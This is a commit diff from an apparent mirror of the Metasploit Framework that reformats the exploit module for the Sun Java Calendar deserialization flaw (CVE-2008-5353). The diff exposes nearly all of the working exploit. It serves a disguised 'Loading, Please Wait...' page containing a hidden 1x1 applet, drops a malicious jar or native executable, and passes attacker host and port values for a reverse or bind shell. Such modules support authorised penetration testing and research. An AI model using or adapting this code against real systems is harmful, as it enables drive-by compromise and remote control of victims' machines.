infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

update whitespace / syntax for java_calendar_deserialize

bug/bundler_fix
Brent Cook 2015-12-23 15:42:27 -06:00
parent 07ef09e0b6
commit 7444f24721
1 changed files with 37 additions and 39 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

76
modules/exploits/multi/browser/java_calendar_deserialize.rb
View File

@ -13,12 +13,12 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::EXE
# Superceded by java_atomicreferencearray
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({ :javascript => false })
# include Msf::Exploit::Remote::BrowserAutopwn
# autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
def initialize(info = {})
super(
update_info(info,
'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
@ -39,74 +39,73 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]
],
'Platform' => %w{ linux osx solaris win },
'Platform' => %w(linux osx solaris win),
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Arch' => ARCH_PPC
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 03 2008'
))
)
)
end
def exploit
# load the static jar file
path = File.join( Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar" )
fd = File.open( path, "rb" )
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")
fd = File.open(path, "rb")
@jar_data = fd.read(fd.stat.size)
fd.close
super
end
def on_request_uri( cli, request )
def on_request_uri(cli, request)
data = nil
host = nil
port = nil
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
if !request.uri.match(/\.jar$/i)
if !request.uri.match(/\/$/)
send_redirect(cli, get_resource + '/', '')
return
end
print_status("#{self.name} handling request")
print_status("#{name} handling request")
payload = regenerate_payload( cli )
if not payload
print_error( "Failed to generate the payload." )
payload = regenerate_payload(cli)
if !payload
print_error("Failed to generate the payload.")
return
end
@ -122,10 +121,10 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Payload will be a Java bind shell")
end
if jar
print_status( "Generated jar to drop (#{jar.length} bytes)." )
jar = Rex::Text.to_hex( jar, prefix="" )
print_status("Generated jar to drop (#{jar.length} bytes).")
jar = Rex::Text.to_hex(jar, prefix = "")
else
print_error( "Failed to generate the executable." )
print_error("Failed to generate the executable.")
return
end
else
@ -133,22 +132,22 @@ class Metasploit3 < Msf::Exploit::Remote
# NOTE: The EXE mixin automagically handles detection of arch/platform
data = generate_payload_exe
print_status( "Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
print_status("Generated executable to drop (#{data.length} bytes).")
data = Rex::Text.to_hex(data, prefix = "")
end
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')
return
end
print_status( "Sending Applet.jar" )
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
print_status("Sending Applet.jar")
send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")
handler( cli )
handler(cli)
end
def generate_html( data, jar, host, port )
def generate_html(data, jar, host, port)
html = "<html><head><title>Loading, Please Wait...</title></head>"
html += "<body><center><p>Loading, Please Wait...</p></center>"
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
@ -157,11 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
html += "</applet></body></html>"
return html
html
end
def generate_jar()
return @jar_data
def generate_jar
@jar_data
end
end